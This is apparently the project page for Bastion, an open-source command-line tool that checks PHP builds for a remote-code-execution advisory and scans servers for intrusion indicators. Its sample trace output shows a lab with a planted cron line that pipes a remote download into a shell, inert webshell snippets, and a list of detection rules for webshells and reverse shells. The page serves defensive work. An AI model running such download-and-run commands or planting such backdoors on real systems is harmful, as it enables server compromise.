Find every PHP build on a server and prove which ones are patched.
Bastion is an open-source command-line tool that runs on your own machine. It inventories PHP from system packages, hosting panels, containers and images, decides whether each build carries the fix (including distribution backports that keep the old version number), and looks for signs of an intrusion that happened before you patched.
curl -fsSL https://larptard.github.io/bastion/install.sh | sh- Read-only
- No network calls
- Single static binary
- Linux and macOS, amd64 and arm64
- MIT
$ sudo bastion scan ▲ BASTION v0.1.0-dev · PHP exposure scan host web-01 · os Ubuntu 24.04.5 LTS · kernel 6.18.44-fc-v140 · at 2026-10-22 09:03 UTC CRITICAL PHP2Shell CVE-2026-109618 · CVE-2026-109619 CVSS 4.0 9.2 · published 2026-10-21 PHP INSTANCES ────────────────────────────────────────────────────────────────────────────────────── STATUS TARGET PATH SAPI VERSION SOURCE ● VULNERABLE shop-legacy /usr/local/bin/php cli 8.3.35 Docker official image ● VULNERABLE shop-legacy /usr/local/sbin/php-fpm fpm 8.3.35 Docker official image ● VULNERABLE host /usr/bin/php8.3 cli 8.3.6 System package (apt) ◐ LIKELY worker-74 /usr/local/bin/php cli 7.4.33 Docker official image ◐ LIKELY worker-74 /usr/local/bin/php-cgi cgi 7.4.33 Docker official image ● FIXED api /usr/local/bin/php cli 8.4.27 Docker official image ● FIXED api /usr/local/bin/php-cgi cgi 8.4.27 Docker official image ● FIXED blog /usr/lib/apac…/modules/libphp.so mod_php 8.3.36 Docker official image ● FIXED blog /usr/local/bin/php cli 8.3.36 Docker official image DETAILS ──────────────────────────────────────────────────────────────────────────────────────────── VULNERABLE /usr/local/bin/php @ container:shop-legacy sapi cli · version 8.3.35 (binary) ┌ PHP2Shell — PHP 8.3.35 is below 8.3.36 · confidence high │ ✗ version PHP 8.3.35 is below the fixed release 8.3.36 │ → fix Rebuild on a patched base image: docker pull php:8.3-fpm (needs 8.3.36 or │ later), then rebuild and redeploy. Running containers keep the old binary until │ they are replaced. └ ┌ interim mitigations — reduce exposure until the update; not a fix │ ✗ php.ini session.upload_progress.enabled = 1 want 0 / Off · PHP default │ ✗ php.ini memory_limit = 128M want -1 · PHP default │ ✓ php.ini post_max_size = 8M want ≤ 32M · PHP default └ VULNERABLE /usr/local/sbin/php-fpm @ container:shop-legacy sapi fpm · version 8.3.35 (binary) · running pid 10344,10392,10393 ┌ PHP2Shell — PHP 8.3.35 is below 8.3.36 · confidence high │ ✗ version PHP 8.3.35 is below the fixed release 8.3.36 │ → fix Rebuild on a patched base image: docker pull php:8.3-fpm (needs 8.3.36 or │ later), then rebuild and redeploy. Running containers keep the old binary until │ they are replaced. └ ┌ interim mitigations — reduce exposure until the update; not a fix │ ✗ php.ini session.upload_progress.enabled = 1 want 0 / Off · PHP default │ ✗ php.ini memory_limit = 128M want -1 · PHP default │ ✓ php.ini post_max_size = 8M want ≤ 32M · PHP default └ VULNERABLE /usr/bin/php8.3 @ web-01 sapi cli · version 8.3.6 (binary) · package php8.3-cli 8.3.6-0ubuntu0.24.04.12 also reachable as /bin/php, /bin/php8.3, /usr/bin/php ┌ PHP2Shell — package 8.3.6-0ubuntu0.24.04.12 is older than the vendor fix 8.3.6-0ubuntu0.24.04.13 · confidence high │ · version PHP 8.3.6 is below the fixed release 8.3.36, but distribution packages often │ carry backports │ ✗ vendor php8.3-cli 8.3.6-0ubuntu0.24.04.12 < 8.3.6-0ubuntu0.24.04.13 (USN-8948-1, ubuntu │ 24.04) │ → fix sudo apt update && sudo apt install --only-upgrade 'php8.3*' │ → Confirm: dpkg-query -W php8.3-cli → expect 8.3.6-0ubuntu0.24.04.13 or later. └ ┌ interim mitigations — reduce exposure until the update; not a fix │ ✗ php.ini session.upload_progress.enabled = 1 want 0 / Off · PHP default │ ✓ php.ini memory_limit = -1 want -1 · /etc/php/8.3/cli/php.ini:445 │ ✓ php.ini post_max_size = 8M want ≤ 32M · /etc/php/8.3/cli/php.ini:713 └ LIKELY VULNERABLE /usr/local/bin/php @ container:worker-74 sapi cli · version 7.4.33 (binary) ┌ PHP2Shell — end-of-life branch; only a source backport exists · confidence medium │ ✗ version PHP 7.4 has no fixed upstream release (branch status: eol) │ · note upstream published a source-only backport branch │ (https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619); builds │ from it keep the version string, so Bastion cannot tell them apart │ → fix Rebuild on a patched base image: docker pull php:8.4-cli (needs 8.4.27 or │ later), then rebuild and redeploy. Running containers keep the old binary until │ they are replaced. └ ┌ interim mitigations — reduce exposure until the update; not a fix │ ✗ php.ini session.upload_progress.enabled = 1 want 0 / Off · PHP default │ ✗ php.ini memory_limit = 128M want -1 · PHP default │ ✓ php.ini post_max_size = 8M want ≤ 32M · PHP default └ LIKELY VULNERABLE /usr/local/bin/php-cgi @ container:worker-74 sapi cgi · version 7.4.33 (binary) ┌ PHP2Shell — end-of-life branch; only a source backport exists · confidence medium │ ✗ version PHP 7.4 has no fixed upstream release (branch status: eol) │ · note upstream published a source-only backport branch │ (https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619); builds │ from it keep the version string, so Bastion cannot tell them apart │ → fix Rebuild on a patched base image: docker pull php:8.4-cli (needs 8.4.27 or │ later), then rebuild and redeploy. Running containers keep the old binary until │ they are replaced. └ ┌ interim mitigations — reduce exposure until the update; not a fix │ ✗ php.ini session.upload_progress.enabled = 1 want 0 / Off · PHP default │ ✗ php.ini memory_limit = 128M want -1 · PHP default │ ✓ php.ini post_max_size = 8M want ≤ 32M · PHP default └ SUMMARY 3 vulnerable 2 likely vulnerable 0 unknown 4 fixed 9 instances across 5 targets in 14.626s · next: bastion trace · bastion report
web-01 — Ubuntu 24.04.5 LTS / 6.18.44-fc-v140 · containers: php:7.4-cli php:8.3-apache php:8.3.35-fpm php:8.4-cli · bastion v0.1.0-dev · 2026-10-22T09:03:48Z
The advisory
Two memory-safety bugs in the PHP engine, fixed upstream on 21 October 2026. Bastion's data is taken from php.net, the GitHub advisories and the vendors' own trackers.
How the bugs workPHP2Shell
- Identifiers
- CVE-2026-109618GHSA-w8hw-w9fx-j79wCVE-2026-109619GHSA-6wmf-4rv5-p3rp
- Weakness
- CVE-2026-109618 RCE via OOM corruption
CVE-2026-109619 RCE via stale global state (CWE-416, CWE-755, CWE-824, CWE-1325, CWE-1419) - Severity
- CVSS 4.0 base score 9.2
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Exposure
- Unauthenticated remote code execution as the web server account. Demonstrated against Apache mod_php before application code runs; PHP-FPM, FrankenPHP and LiteSpeed considered likely susceptible.
- Affected
- Every release below
8.5.12,8.4.27,8.3.36,8.2.35. Branches 8.1, 8.0, 7.4 and older receive no upstream release. - Timeline
- Advance notice of a security release.
- PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 released with source backport branches for 7.4, 8.0 and 8.1; vendor updates follow the same day.
| Branch | Fixed in | Status |
|---|---|---|
| 8.6 | ≥ 8.6.0RC4 | pre-release |
| 8.5 | ≥ 8.5.12 | supported |
| 8.4 | ≥ 8.4.27 | supported |
| 8.3 | ≥ 8.3.36 | supported |
| 8.2 | ≥ 8.2.35 | supported |
| 8.1 | no release | source backport |
| 8.0 | no release | source backport |
| 7.4 | no release | source backport |
| Release | Package | Fixed version | Advisory |
|---|---|---|---|
| Ubuntu 26.10 | php8.5 | 8.5.9-0ubuntu2.1 | USN-8948-1 |
| Ubuntu 26.04 | php8.5 | 8.5.4-0ubuntu1.5 | USN-8948-1 |
| Ubuntu 24.04 | php8.3 | 8.3.6-0ubuntu0.24.04.13 | USN-8948-1 |
| Ubuntu 22.04 | php8.1 | 8.1.2-1ubuntu2.28 | USN-8948-1 |
| Ubuntu 20.04 | php7.4 Ubuntu Pro (ESM) | 7.4.3-4ubuntu2.29+esm5 | USN-8948-2 |
| Ubuntu 18.04 | php7.2 Ubuntu Pro (ESM) | 7.2.24-0ubuntu0.18.04.17+esm14 | USN-8948-2 |
| Ubuntu 16.04 | php7.0 Ubuntu Pro Legacy | 7.0.33-0ubuntu0.16.04.16+esm22 | USN-8948-2 |
| Ubuntu 14.04 | php5 Ubuntu Pro Legacy | 5.5.9+dfsg-1ubuntu4.29+esm18 | USN-8948-2 |
| Debian 13 | php8.4 | 8.4.27-1~deb13u1 | DSA-6574-1 |
| Debian 12 | php8.2 | 8.2.35-1~deb12u1 | DLA-4848-1 |
| RHEL 10 | php PHP 8.3 | 8.3.36-1.el10_2 | RHSA-2026:87070 |
| RHEL 10 | php8.4 PHP 8.4 | 8.4.27-1.el10_2 | RHSA-2026:87071 |
| RHEL 9 | php PHP 8.0 | 8.0.30-8.el9_8.1 | RHSA-2026:87151 |
| RHEL 9 | php php:8.2 module | 8.2.35-1.module+el9.8.0+25111+a1450321 | RHSA-2026:87072 |
| RHEL 9 | php php:8.3 module | 8.3.36-1.module+el9.8.0+25109+6886e21a | RHSA-2026:87079 |
| RHEL 8 | php php:7.4 module | 7.4.33-8.module+el8.10.0+25117+30337cca | RHSA-2026:87080 |
| RHEL 8 | php php:8.2 module | 8.2.35-1.module+el8.10.0+25110+f67151d2 | RHSA-2026:87073 |
Coverage
Where scan looks for PHP, and what evidence it can use to tell a patched build from a vulnerable one in each environment.
| Environment | Found at | Evidence beyond the version string | Fix guidance | |
|---|---|---|---|---|
| Debian, Ubuntu | /usr/bin, /usr/sbin, Apache modules | Vendor fix table (Ubuntu 14.04–26.10, Debian 12–13), changelog.Debian.gz, fix fingerprint | apt | |
| RHEL, AlmaLinux, Rocky | /usr/bin, php-fpm, httpd modules | Vendor fix table (RHEL 8, 9, 10 errata), rpm changelog, fix fingerprint | dnf | |
| Alpine | /usr/bin/phpNN | secdb policy: stable branches carry no backport | apk | |
| Docker official images | /usr/local/bin, /usr/local/sbin | Upstream version | Rebuild on a patched tag | |
| Running containers, pods | /proc/<pid>/root of each container | Same evidence as the base distribution | Per base image | |
| Container images | docker / podman save, never run | Same evidence as the base distribution | Rebuild | |
| BaoTa / aaPanel | /www/server/php/* | Upstream version | App Store → Installed | |
| cPanel EasyApache 4 | /opt/cpanel/ea-php* | rpm changelog | dnf ea-php* | |
| CloudLinux alt-php | /opt/alt/php* | rpm changelog | yum alt-php* | |
| Plesk | /opt/plesk/php/* | Build date for the 7.4–8.1 rebuilds | plesk installer | |
| Remi, LiteSpeed, Homebrew, XAMPP, Bitnami, source builds | Standard prefixes, $PATH | Upstream version, changelog where packaged | Per environment | |
| Workers running replaced code | /proc/<pid>/exe, Apache memory maps | Version and fingerprint of the old image | Restart the service |
For builds that are not fixed, scan also reads the php.ini, scan-dir and PHP-FPM pool files that apply to them and reports which official interim mitigations are in place: session.upload_progress.enabled, memory_limit, post_max_size and, on 8.5, fatal_error_backtraces.
How a verdict is reached
The version string alone is not evidence for a distribution package. Bastion works down this list and stops at the first proof. If nothing proves the build either way, it says so.
Annotated source- Read the binaryVersion and build date from the file itself; nothing is executed.
- Upstream releaseAt or above the branch's fixed release.
- Vendor fix tableExact fixed package versions from Ubuntu, Debian and Red Hat.
- Package changelogThe vendor recorded the CVE in the installed package.
- Fix fingerprintCode only the patch adds, or a vendor's dated rebuild.
- Verdictfixedvulnerablelikelyunknown
Ubuntu 24.04 reports PHP 8.3.6 both before and after its fix; only the package revision (…24.04.12 → …24.04.13) changes. Comparing against upstream 8.3.36 gets both builds wrong.
Intrusion trace
A patch does not remove a webshell, a cron job or an SSH key planted before it was applied. trace checks web roots, persistence points and logs, and builds a timeline.
| Rule | Area | Severity | Indicator |
|---|---|---|---|
| file.php-in-image | file | medium–high | PHP code inside an image file |
| file.php-in-uploads | file | medium | PHP file in wp-content/uploads |
| file.double-extension | file | medium | PHP code in a double-extension file (x.php.jpg) |
| file.webshell-name | file | low | File name of a public webshell kit |
| file.hidden-php | file | low | Hidden PHP file |
| config.auto-prepend | config | high | auto_prepend_file / auto_append_file in .user.ini, .htaccess or php.ini |
| config.htaccess-php-handler | config | high | .htaccess makes non-PHP files execute as PHP |
| config.extension-from-tmp | config | high | PHP extension loaded from a temp directory |
| persist.cron | persistence | medium–high | Cron entries that download-and-run, open shells, mine or run from /tmp |
| persist.systemd | persistence | medium–high | systemd units with the same patterns |
| persist.profile | persistence | medium–high | Shell start-up scripts and rc.local with the same patterns |
| persist.ld-preload | persistence | high | Non-empty /etc/ld.so.preload |
| persist.uid0 | persistence | high | Extra account with UID 0 |
| persist.web-ssh-key | persistence | medium | SSH key for the web server account |
| persist.web-shell-login | persistence | low | Web server account with a login shell |
| persist.tmp-elf | persistence | medium–high | Executable in /tmp, /var/tmp or /dev/shm |
| log.flagged-file-access | log | high | HTTP requests to a file flagged by the file scan |
| log.post-upload-php | log | high | Successful POST to PHP in an upload directory |
| log.command-param | log | medium | Shell commands in request parameters |
| log.code-in-request | log | medium | PHP code or stream wrappers in request URLs |
| log.php-cgi-arg-injection | log | medium | php-cgi argument injection probes |
| log.worker-crash | log | medium | PHP worker segfaults and heap corruption |
| log.early-oom | log | medium | Out-of-memory during request start-up (the CVE-2026-109618 trigger) |
| log.hard-oom | log | low | Patched hard memory limit reached |
| log.multipart-limits | log | low | Request parsing limits hit |
| log.webshell-name | log | low–medium | Requests for webshell file names |
| Rule | Severity | Matches |
|---|---|---|
| php.eval-decoded | high | eval/assert of decoded data |
| php.exec-request-input | high | Request input passed to code or command execution |
| php.request-callable | high | Function name taken from the request |
| php.backtick-input | high | Shell backticks with request input |
| php.preg-replace-e | high | preg_replace with the /e modifier |
| webshell.known-family | high | Known webshell family marker |
| webshell.behinder | high | Behinder-style encrypted shell |
| webshell.godzilla | high | Godzilla-style shell |
| php.reverse-shell | high | Reverse shell code |
| php.disable-functions-bypass | high | disable_functions bypass technique |
| php.split-function-name | medium | Dangerous function name split into pieces |
| php.globals-callable | medium | Indirect call through $GLOBALS / variable superglobal |
| php.long-encoded-blob | low | Very long base64 blob |
| php.hex-escaped | low | Long hex-escaped string |
| php.chr-chain | low | String assembled from chr() calls |
| php.write-from-input | medium | Writes request data to a file |
| php.self-delete | medium | Script deletes itself |
| php.silence-combo | low | Silences errors and removes time limits |
$ sudo bastion trace --sysroot /tmp/bastion-lab ▲ BASTION v0.1.0-dev · intrusion trace host /tmp/bastion-lab · os Debian GNU/Linux 12 (bookworm) · window since 2016-10-24 · at 2026-10-22 09:03 UTC COMPROMISE INDICATORS FOUND Strong indicators of compromise. Treat the server as breached: preserve evidence (copy files and logs before changing anything), rotate credentials, and rebuild from a known-good source. SCOPE ────────────────────────────────────────────────────────────────────────────────────────────── WEB ROOT FILES FOUND VIA /var/www 9 default 9 files (7 PHP, 7 changed in window) · 905 B read · 2 log files, 9 lines FINDINGS ─────────────────────────────────────────────────────────────────────────────────────────── ▲ HIGH Requests to a flagged file [log.flagged-file-access] /var/log/nginx/shop.access.log ×4 2026-10-22 02:09 │ 198.51.100.23 - - [21/Oct/2026:16:0…2026/10/thumb.php HTTP/1.1" 200 31 "-" "Mozilla/5.0" │ The file /var/www/shop/public/wp-content/uploads/2026/10/thumb.php was flagged by the │ file scan and was requested over HTTP. │ file /var/www/shop/public/wp-content/uploads/2026/10/thumb.php │ file /var/www/shop/public/lib/compat.php │ first 2026-10-21T16:04:20Z, last 2026-10-22T02:09:41Z │ … 5 more (use -v or --json) ▲ HIGH Successful POST to a PHP file in an upload directory [log.post-upload-php] /var/log/nginx/shop.access.log ×1 2026-10-21 16:04 │ 198.51.100.23 - - [21/Oct/2026:16:0…2026/10/thumb.php HTTP/1.1" 200 31 "-" "Mozilla/5.0" │ Legitimate applications do not execute PHP from upload directories. │ first 2026-10-21T16:04:20Z, last 2026-10-21T16:04:20Z │ top clients: 198.51.100.23×1 │ status codes: 200×1 │ … 1 more (use -v or --json) ▲ HIGH Suspicious scheduled task [persist.cron] /var/spool/cron/crontabs/www-data:1 2026-10-21 16:09 │ */10 * * * * curl -fsSL http://198.51.100.23/u | sh │ Line downloads and pipes into a shell. ▲ HIGH PHP auto_prepend/append_file set in .user.ini [config.auto-prepend] /var/www/shop/public/.user.ini:1 2026-10-21 16:06 │ auto_prepend_file = /var/www/shop/public/img/.cache.png │ Every request on this directory first runs /var/www/shop/public/img/.cache.png. A │ favourite way to keep a backdoor loaded. ▲ HIGH Function name taken from the request [php.request-callable] /var/www/shop/public/lib/compat.php:1 2026-10-21 16:05 │ … demo fixture — inert */ if (false) { $_POST['k']($_POST['v']); } │ $_POST['x']($_POST['y']) lets the attacker call any function. │ requested over HTTP (see /var/log/nginx/shop.access.log) ▲ HIGH eval/assert of decoded data [php.eval-decoded] /var/www/shop/public/wp-content/uploads/2026/10/thumb.php:1 2026-10-21 16:04 │ … demo fixture — inert */ if (false) { eval(base64_decode('ZGVtbw==')); } │ Executing decoded strings is the classic packer used by webshells to hide their payload. │ located in an upload/cache directory │ requested over HTTP (see /var/log/nginx/shop.access.log) ◆ MEDIUM Shell commands passed as request parameters [log.command-param] /var/log/nginx/shop.access.log ×1 2026-10-21 16:07 │ 198.51.100.23 - - [21/Oct/2026:16:0…mpat.php?cmd=whoami HTTP/1.1" 200 9 "-" "curl/8.5.0" │ Typical of interacting with a webshell. │ first 2026-10-21T16:07:55Z, last 2026-10-21T16:07:55Z │ top clients: 198.51.100.23×1 │ status codes: 200×1 │ … 1 more (use -v or --json) ◆ MEDIUM Out-of-memory during request start-up [log.early-oom] /var/log/php8.2-fpm.log ×1 2026-10-21 16:01 │ [21-Oct-2026 16:01:07] PHP Fatal er…(tried to allocate 20480 bytes) in Unknown on line 0 │ 'in Unknown on line 0' means memory ran out before any script ran — while PHP was │ parsing the request. That is the trigger condition of CVE-2026-109618. │ first 2026-10-21T16:01:07Z, last 2026-10-21T16:01:07Z │ [21-Oct-2026 16:01:07] PHP Fatal er…(tried to allocate 20480 bytes) in Unknown on line 0 ◆ MEDIUM PHP worker crashes (segfault / heap corruption) [log.worker-crash] /var/log/php8.2-fpm.log ×3 2026-10-21 16:03 │ [21-Oct-2026 15:58:41] WARNING: [po…gnal 11 (SIGSEGV) after 41.200713 seconds from start │ PHP2Shell is a memory-corruption bug; exploitation attempts often crash workers before │ they succeed. Crashes also happen for benign reasons — check timing against suspicious │ requests. │ first 2026-10-21T15:58:41Z, last 2026-10-21T16:03:09Z │ [21-Oct-2026 15:58:41] WARNING: [po…gnal 11 (SIGSEGV) after 41.200713 seconds from start │ [21-Oct-2026 15:58:43] WARNING: [po…ignal 11 (SIGSEGV) after 2.004112 seconds from start │ … 1 more (use -v or --json) ◆ MEDIUM PHP code hidden in an image file [file.php-in-image] /var/www/shop/public/img/.cache.png:3 2026-10-21 16:05 │ ·PNG · <?php /* demo fixture — inert */ ?> │ Polyglot images are used with include() or a handler override to run code. TIMELINE ─────────────────────────────────────────────────────────────────────────────────────────── 2026-10-21 ├─ 15:58:41 ● log PHP worker crashes (segfaul… seen (3 total) /var/log/php8.2-fpm.log ├─ 16:01:07 ● log Out-of-memory during reques… seen (1 total) /var/log/php8.2-fpm.log ├─ 16:03:09 ● log PHP worker crashes (segfaul…on) — last seen /var/log/php8.2-fpm.log ├─ 16:04:11 ● file flagged file last modified:…lic/wp-content/uploads/2026/10/thumb.php ├─ 16:04:20 ● log Requests to a flagged file …4 total) /var/log/nginx/shop.access.log ├─ 16:04:20 ● log Successful POST to a PHP fi…1 total) /var/log/nginx/shop.access.log ├─ 16:05:02 ● file flagged file last modified:…est /var/www/shop/public/lib/compat.php ├─ 16:05:40 ● file flagged file last modified:…ile /var/www/shop/public/img/.cache.png ├─ 16:06:15 ● file flagged file last modified:…user.ini /var/www/shop/public/.user.ini ├─ 16:07:55 ● log Shell commands passed as re…1 total) /var/log/nginx/shop.access.log └─ 16:09:30 ● persistence Suspicious scheduled task (…hell) /var/spool/cron/crontabs/www-data 2026-10-22 └─ 02:09:41 ● log Requests to a flagged file …ast seen /var/log/nginx/shop.access.log SUMMARY 6 high 4 medium 0 low 0 info completed in 2ms · read-only: nothing was modified
Lab tree from scripts/demo/lab.sh. Planted samples are inert (wrapped in if (false)); IPs are documentation ranges.
Signatures are tested against about 33,000 legitimate PHP files from WordPress, Drupal, phpMyAdmin, Laravel, Symfony, phpseclib and PHPMailer with no high or medium matches, and CI repeats the check on every change.
Output and integration
Readable in a terminal, parseable in a pipeline, importable into a security dashboard.
| Format | Use | Flag | |
|---|---|---|---|
| Terminal | Status colours, aligned tables, evidence and fix steps per build, timeline | default | |
| JSON | Versioned documents bastion.scan/v1, bastion.trace/v1 for fleets and scripts | --format json | |
| SARIF 2.1.0 | GitHub code scanning and other security dashboards, with security-severity | --format sarif | |
| HTML report | One self-contained file, works offline, both scan and trace, printable · sample | bastion report |
| Exit code | Meaning |
|---|---|
| 0 | No affected builds, no indicators |
| 1 | A vulnerable or likely vulnerable build, or high-severity indicators |
| 2 | Some builds could not be verified, or only medium indicators |
Modules
Bastion ships as five modules. Everything stays read-only by default; anything that changes a system will be a separate, explicit command.
| Module | Scope | Status | |
|---|---|---|---|
| Sense | Inventory and exposure: scan, check, report, mitigation audit, image scanning | shipped | |
| Trace | Indicators of compromise and a timeline: trace | shipped | |
| Forge | Reproducible patched packages for end-of-life PHP from the official backport branches | shipped | |
| Shift | Compatibility checks and rehearsed upgrades to a supported branch | shipped | |
| Guard | Runtime detection of exploitation attempts | shipped |
Install
The installer verifies the SHA-256 checksum of the download and, when cosign is available, the Sigstore signature of the release.
curl -fsSL https://larptard.github.io/bastion/install.sh | sh sudo bastion scan sudo bastion trace sudo bastion report
VERSION=v0.1.0 # see https://github.com/larptard/bastion/releases BASE=https://github.com/larptard/bastion/releases/download/$VERSION curl -fsSLO $BASE/bastion_linux_amd64.tar.gz -O $BASE/SHA256SUMS -O $BASE/SHA256SUMS.sigstore.json sha256sum --ignore-missing -c SHA256SUMS cosign verify-blob --bundle SHA256SUMS.sigstore.json \ --certificate-identity-regexp '^https://github.com/larptard/bastion/.github/workflows/release.yml@refs/tags/v' \ --certificate-oidc-issuer https://token.actions.githubusercontent.com SHA256SUMS tar xzf bastion_linux_amd64.tar.gz && sudo install -m 0755 bastion /usr/local/bin/
go install github.com/larptard/bastion/cmd/bastion@latest # Go 1.24+ # or git clone https://github.com/larptard/bastion && cd bastion && make build
